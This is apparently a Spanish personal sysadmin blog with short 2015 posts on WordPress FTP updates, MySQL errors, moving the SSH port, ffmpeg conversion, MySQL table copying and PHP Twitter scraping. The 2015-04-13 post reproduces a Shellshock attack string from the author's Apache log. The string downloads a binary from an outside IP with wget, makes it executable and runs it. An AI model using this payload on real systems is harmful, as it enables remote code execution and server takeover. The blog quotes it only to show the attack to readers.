2015-11-12

Failed to connect to FTP Server localhost:21

wordpress
A veces por querer tener un hosting en un sitio distinto al habitual pasa que los chicos del hosting no han hecho los deberes pertinentes o es posible que no sepan hacerlos.

 El caso es que tenemos un blog en un país paraíso fiscal al que no se puede actualizar ni siquiera los plugins ya que el usuario de instalación no tiene permisos. Para actualizar wordpress solía subir por ftp los archivos. Hay una solución mejor. Consiste en definir varias cosas en el archivo de configuración de wordpress wp-config.php:
define('FS_METHOD', 'ftpext');

define('FTP_BASE', 'ruta');

define('FTP_USER', 'usuario');

define('FTP_PASS', 'contraseña');

//define('FTP_HOST', 'localhost');

define('FTP_HOST', 'ip_del_servidor:21');

define('FTP_SSL', false);

define('WP_MEMORY_LIMIT', '128M');
Básicamente el truco consiste en poner la ip del servidor donde está alojado, dos puntos y el puerto de conexión. Normalmente el 21. A nosotros nos ha funcionado y se actualizan los plugins de una forma normal.

2015-06-02

Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)")

Con este error me encuentro cuando hago un reboot.

Al parecer esta orden no cierra adecuadamente los progrmas en uso y por eso luego Mysql falla.

Si cuando vas a reiniciar el servicio con

sudo /etc/init.d/mysql restart

Ves que  falla

tail -200 /var/log/mysql/error.log

Debes analizar los errores que te salen y ver que sucede.

En mi último caso es que había cambiadao los permisos de la carpeta /tmp y no podía escribir allí un fichero temporal.


2015-05-12

Cambiar el puerto ssh de tu VPS o servidor

Si analizas las entradas a tu servidor verás que hay  miles de peticiones al día con el único propósito de entrar clandestinamente en tu equipo.

Normalmente para acceder a tu servidor se utiliza el puerto por eso si tecleas

netstat -lnptu


verás que se está escuchando en ese puerto 22

Una forma adicional de mejorar la seguridad de nuestro servidor o VPS coniste en modificar este puerto hacia otro que no esté ya siendo utilizado. De esa forma te evitas miles de intentos de entrar.

Lom que debes hacer es cambiar ese puerto y reiniciar posteriormente els ervicio de ssh. Veamos los pasos


vi /etc/ssh/sshd_config

o

nano /etc/ssh/sshd_config 

una vez allí verásalgo como esto:

# What ports, IPs and protocols we listen for
Port 22
 

 



Donde pone 22 deberás poner otro número. Lo normal sería poner un número entre el 49152 y el 65535 que son puertos disponibles. Como te he indicado antes mira primero que puertos están siendo ocupados.

Guardas el archivo y entonces reinicias el ssh:

A mi me funciona este:

service ssh restart

Pero en otros equipos os puede funcionar este otro:

/etc/init.d/ssh restart

service sshd restart


Con esto ya tenéis todo cambiado

Se comprueba con el comando  netstat -lnptu que está todo bien.

Entonces y sólo entonces puedes salir de la consola. Por si acaso abre otra consola y trata de entrar con la nueva configuración:

ssh root@ip -p puerto

Ahora deberás añadir el puerto siempre que te conectes

Ni que decir tiene que si tienes aplicaciones que utilizan ssh como scp o rsync también lo deberás añadir.

Ya tienes tu servidor un poco más seguro. También estaría bien que el usuario root no pudiera ser accesible vía ssh. 

 


 

2015-04-29

Convertir los videos de una carpeta a mp3 Bandcamp

Pues nada, me bajé las canciones del grupo Rajoy Division de bandcamp.com y venían en formato mpeg. Así que para no tener problemas en algunos reproductores lo he convertido a mp3 de una tirada todos los elementos de video de una carpeta:
for i in *.mpeg;
do name=`echo $i | cut -d'.' -f1`;
echo $name;
ffmpeg -i $i $name.mp3;
done

2015-04-13

Logs de apache

La peña no para de querer apropiarse de cosas que no son suyas. Por eso esta entrada que he visto en log e acceso a apache situado en /var/log/apache2:

[12/Apr/2015:12:25:47 +0000] "GET / HTTP/1.1" 200 630 "() { :;
 };
 /bin/bash -c \"rm -rf /tmp/*;
echo wget http://61.160.212.172:911/java -O /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo echo By China.Z >> /tmp/Run.sh;
echo chmod 777 /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;
chmod 777 /tmp/Run.sh;
/tmp/Run.sh\"" "() { :;
 };
 /bin/bash -c \"rm -rf /tmp/*;
echo wget http://61.160.212.172:911/java -O /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo echo By China.Z >> /tmp/Run.sh;
echo chmod 777 /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;
chmod 777 /tmp/Run.sh;
/tmp/Run.sh\""

Se bajan un programita lo corren y vete a saber lo que te dejan en el servidor. Parece que buscan una vulnerabilidad de bash de septiembre 2014....conocida como shellshock. mi servidor es más moderno así que no debería tener problemas.


2015-03-10

Crear archivo nuevo con las x primeras líneas de otro

Tenía un problema para leer un archivo de varios gigabytes de tamaño y sólo quería leer las primeras líneas así que lo pude solucionar con este programa escrito en python.

Abre los dos ficheros y va leyendo del fichero uno y escribe las 1000 primeras líneas en el fichero 2.
Obviamente se puede cambiar ese número por el que sea y adaptar el condicional a vuestro gusto.


fp = open("mysqldump.sql")
f1 = open('1000.txt', 'a')
for i, line in enumerate(fp):
    if i < 1000:
        f1.write(line)
    elif i == 1000:
        f1.write(line)
    elif i > 1000:
        break
f1.close()
fp.close()
 
Supongo que habrá algo sencillo para hacer desde bash pero no lo supe solucionar de esa forma.

2015-02-03

Copiar tabla mysql

Recientemente tengo que hacer una nueva tabla para convertir una tabla utf8mb4 a utf8 debido a que instalarla en un servidor antiguo que no soporta utf8mb4, el formato que soporta unicode de forma completa.

Lo primero que hemos hecho ha sido copiar la tabla. Primero se crea la nueva tabla y después se llena


CREATE TABLE nueva_table LIKE vieja_tabla;



INSERT nueva_tabla SELECT * FROM vieja_tabla;


En nuestro caso la tabla contenía varios millones de registros por lo que este proceso tardó 4 minutos.

Es un proceso bastante rápido si no hay casi datos.

Luego me tocó
ejecutar los comandos de alteración del cotejamiento:

alter table nueva_tabla convert to character set utf8 collate utf8_general_ci;
 
Migrar de mysql 5.5 a 5.1 es algo que no recomiendo. En nuestro caso el servidor local es mysql 5.5 y de ahí se sacan los datos a varios sitios y uno de ellos el administrador de sistema pone pegas para actualizar. Afortunadamente en esa tabla no hay caracteres chinos.


 luego se exporta con el siguiente comando:

mysqldump -u username -p database --default-character-set=utf8 tabla_nueva > tabla_nueva.sql

Lo conprimo para subirlo al servidor antiguo:

gzip -9 tabla_nueva.sql

y listo.
otra opción es CREATE TABLE nueva SELECT * FROM vieja WHERE 1=0

2015-01-11

Scraping Twitter Php 2016

Esto de scrapear páginas webs como twitter y facebook es un absoluto rollo. Los pobres programadores que trabajan allí están obligados a cambiar su código cada x tiempo porque alguien de arriba les dice esto o lo otro.

Por eso, cuando buscas algún código útil de como scrapear Twitter con php siempre te encuentras con código que funcionaba en el pasado 2014 o 2013 pero que no funciona ahora en el 2015.

Yo he buscado y he encontrado esto:

http://sledgedev.com/build-a-scraper-with-php un código muy simple que debía funcionar hace poco.

http://blog.oneduality.com/2013/06/26/how-to-get-a-twitter-feed-using-php-without-using-api-1-1-and-without-oauth/  un código un poquito más currado en el que el programador relata en  el final que está hasta los cojones de los cambios que pasa de actualizarlo.

De uno y de otro podemos coger ideas. En realidad, son códigos muy parecidos.

Los dos hacen uso de la librería http://simplehtmldom.sourceforge.net/

y luego parsean gracias a esta librería.

He analizado el código actual de Twitter  y yo sólo necesito el tweet, ni la fecha, ni los rt ni nada más. Quizás en un futuro lo actualice para coger esa información o quizás alguien lo haga y nos lo enseñe. Si se quiere hacer los pasos son obvios coger en lugar del párrafo donde se encuentra el tweet, el div principal donde está toda la información del tweet.

El código para scrapear el contenido del tweet es este:

<php?
include 'simple_html_dom.php';
$i=0;
$html = file_get_html('https://twitter.com/pixies');
$tweets = $html->find('p[class=ProfileTweet-text]');
foreach ($tweets as $tweet) {

$tweet=str_replace("&_nbsp;", " ", $tweet);
echo $i." - ".strip_tags($tweet)."\n";
$i++;
 if ($i >3){
   
     break;
 }
}
?>

He añadido un break para mostrar solamente un número definido de tweets .- También un striptags para que no me muestre tags de código. Salían bastantes espacios en  código  por lo que con un str:_replace los he quitado.

Cómo veis un código muy sencillo por no llamarlo cutre.  Como decía antes dejo para otro fin de semana sin obligaciones lo de currarme la fecha y demás campos informativos que se pueden sacar.

P.S: donde pone pixies hay que poner la cuenta de la que queráis obtener información. En mi caso pondré varias y las ejecutaré con un cron . Luego una página web mostrará el resultado. Algo así como lo último de los fulanitos....

P:S. Twtitter ha cam,biado su código ahora hay que poner
$tweets = $html->find('p[class=tweet-text]');

Con esto el código es válido el 2016 hasta que lo vuelvan a cambiar. Estamos en febrero y todo sigue funcionando.